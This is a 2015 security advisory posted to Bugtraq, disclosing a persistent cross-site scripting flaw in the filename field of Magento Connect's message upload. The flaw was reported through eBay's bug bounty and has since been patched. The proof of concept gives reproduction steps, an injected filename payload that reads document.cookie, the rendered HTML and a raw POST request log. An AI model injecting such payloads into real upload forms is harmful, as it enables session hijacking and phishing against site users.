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Ebay Magento Bug Bounty #10 - Persistent Filename Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: Ebay Magento Bug Bounty #10 - Persistent Filename Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Fri, 19 Jun 2015 15:05:35 +0200
Document Title:
===============
Ebay Magento Bug Bounty #10 - Persistent Filename Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1457
eBay Inc. Bug Bounty Program ID: EIBBP-31603
Video: https://www.youtube.com/watch?v=WffsHd8pibE
Release Date:
=============
2015-06-16
Vulnerability Laboratory ID (VL-ID):
====================================
1457
Common Vulnerability Scoring System:
====================================
3.7
Product & Service Introduction:
===============================
Magento is an open source e-commerce web application that was launched on March
31, 2008 under the name Bento. It was developed
by Varien (now Magento, a division of eBay) with help from the programmers
within the open source community but is now owned
solely by eBay Inc. Magento was built using parts of the Zend Framework. It
uses the entity-attribute-value (EAV) database model
to store data. In November 2013, W3Techs estimated that Magento was used by
0.9% of all websites.
Our team of security professionals works hard to keep Magento customer
information secure. What`s equally important to protecting
this data? Our security researchers and user community. If you find a site that
isn`t following our policies, or a vulnerability
inside our system, please tell us right away.
( Copy of the Vendor Homepage: http://magento.com/security &
http://magento.com/security )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered an applicationb-side
input validation web vulnerability in the official Magento Commerce
web-application.
Vulnerability Disclosure Timeline:
==================================
2015-03-17: Researcher Notification & Coordination (Hadji Samir)
2015-03-18: Vendor Notification (eBay Inc Security Team - Bug Bounty Program)
2015-04-07: Vendor Response/Feedback (eBay Inc Security Team - Bug Bounty
Program)
2015-05-21: Vendor Fix/Patch (Magento Developer Team)
2015-06-16: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Ebay Inc.
Product: Magento - Connect Web Application 2015 Q2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the
official Magento xCommerce web-application.
The vulnerability allows remote attackers to inject own script code to the
application-side of the affected service module.
The vulnerability is located in the `filename` value of the image upload
module. The attacker needs to create a `New Message`
with upload to change the filename to a malicious payload. The attack vector of
the issue is located on the application-side
and the request method to inject the script code is POST.
The security risk of the persistent web vulnerability is estimated as medium
with a cvss (common vulnerability scoring system) count of 3.7.
Exploitation of the persistent web vulnerability requires a low privileged
web-application user account and low or medium user interaction.
Successful exploitation of the application-side vulnerability results in
session hijacking, persistent phishing, persistent external redirects
and persistent manipulation affected or connected module context.
Vulnerable Domain(s):
[+] www.magentocommerce.com/ (Magento Connect)
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] New Message
Vulnerable Parameter(s):
[+] filename
Proof of Concept (PoC):
=======================
The application-side input validation web vulnerability can be exploited by
remote attackers with low privileged application user account and
low or medium user interaction. For security demonstration or to reproduce the
vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the security vulnerability ...
1. Login to the magento connect service
2. create a new message
3. Start a session tamper to intercept session data -
https://www.magentocommerce.com/magento-connect/message/message/create/
4.
Click to Drop the file and upload it with a payload as filename "><img src="x"
onerror=alert(document.cookie)>.png
5. Save the request and the execution occurs in the same location!
6. Successful reproduce of the application-side input validation web
vulnerability in the upload POST method request!
PoC: magento-connect
session GET
<div class="col-1" style="width: 70%;">
<div class="message-attach">
<ul>
<li>
<label>Attached Files:</label>
</li>
<li>
<a
href="http://www.magentocommerce.com/magento-connect/media/messages/addext01/553791d908608.jpg";
title="">
<img src="x" onerror="alert(document.cookie)">.jpg">
"><img src="x" onerror="alert(document.cookie)">.jpg</a>
</li>
</ul></div></div>
poc video :https://www.youtube.com/watch?v=IXn2BpcFdgs
--- PoC Session Logs [POST] (Inject) ---
POST https://www.magentocommerce.com/magento-connect/message/message/create/
Load Flags[LOAD_BYPASS_CACHE ] Content Size[-1] Mime Type[text/html]
Request Headers:
Host[www.magentocommerce.com]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:37.0) Gecko/20100101
Firefox/37.0]
Accept[application/json]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
Cache-Control[no-cache]
X-Requested-With[XMLHttpRequest]
Referer[https://www.magentocommerce.com/magento-connect/message/message/new/]
Content-Length[6785]
Content-Type[multipart/form-data;
boundary=---------------------------74330138546085003354751315]
Cookie[frontend=p5vvhp956ob5td8jvfhn4p7006;
frontend=p5vvhp956ob5td8jvfhn4p7006;
bvReturnPosition="PRR/4643co-en_us/27261/BVRRWidgetID";
optimizelySegments=%7B%22239237138%22%3A%22referral%22%2C%22237962548%22%3A%22ff%22%2C%22238367687%22%3A%22false%22%7D;
optimizelyEndUserId=oeu1427859799829r0.9503229301677888;
optimizelyBuckets=%7B%7D; s_fid=1EA04ABDF830C3FB-06BD2154AEEBE2E4;
utm_src=expired; ClrSSID=1427859801483-7868; ClrOSSID=1427859801483-7868;
ClrSCD=1427859801483; __utma=1.1287583223.1429705092.1429705092.1429705092.1;
__utmz=1.1429705092.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
fsr.r=%7B%22d%22%3A90%2C%22i%22%3A%22d5e2305-49168485-0768-7e1c-278cb%22%2C%22e%22%3A1428580157028%7D;
exp_domain=c; exp_last_activity=1428276395; exp_last_visit=1112916395;
s_cc=true;
s_sq=magentocommerce%3D%2526pid%253Dhttps%25253A%25252F%25252Fwww.magentocommerce.com%25252Fmagento-connect%25252Fmessage%25252Fmessage%25252Fnew%25252F%2526oid%253DSend%2526oidt%253D3%2526ot%253DSUBMIT;
fsr.s=%7B%22v1%22%3A-1%2C%22v2%22%3A-2%2C%22rid%22%3A%22d5e2305-49905479-c81c-469a-6629b%22%2C%22to%22%3A4.8%2C%22c%22%3A%22https%3A%2F%2Fwww.magentocommerce.com%2Fmagento-connect%2Fmessage%2Fmessage%2Fnew%2F%22%2C%22pv%22%3A22%2C%22lc%22%3A%7B%22d0%22%3A%7B%22v%22%3A22%2C%22s%22%3Atrue%7D%7D%2C%22cd%22%3A0%2C%22f%22%3A1429705096226%2C%22sd%22%3A0%7D;
__utmc=1; interstitial=3; frontend=4gl45gttc5ov0r2mmubj7ibeu2;
frontend=4gl45gttc5ov0r2mmubj7ibeu2; ClrCSTO=T; __utmb=1.2.10.1429705092;
__utmt=1]
X-Forwarded-For[8.8.8.8]
Connection[keep-alive]
Pragma[no-cache]
Post Data:
POST_DATA[-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="from"
addext01
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="to"
addext01
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="subjects"
test
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="description"
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="extension_url"
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="parent_message_id"
0
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="sendButton"
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="draftButton"
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="prevent_click"
0
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="draft"
0
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="send"
0
-----------------------------74330138546085003354751315
Content-Disposition: form-data; name="file[0]"; filename="\"><img src=\"x\"
onerror=alert(document.cookie)>[PERSISTENT INJECTED SCRIPT CODE!].jpg"
Content-Type: image/jpeg
Reference(s):
https://www.magentocommerce.com
https://www.magentocommerce.com/magento-connect/message/message/new/
https://www.magentocommerce.com/magento-connect/message/message/create/
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure encode and parse of the vulnerable
filename value in the new message upload POSt method request.
Restrict the input and disallow special chars to prevent application-side
script code injection attacks. Ensure that the execution point redisplays valid
context.
Security Risk:
==============
The security risk of the application-side input validation web vulnerability in
the magento xcommerce application is estimated as medium. (CVSS 3.7)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz@xxxxxxxxxx]
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=========================
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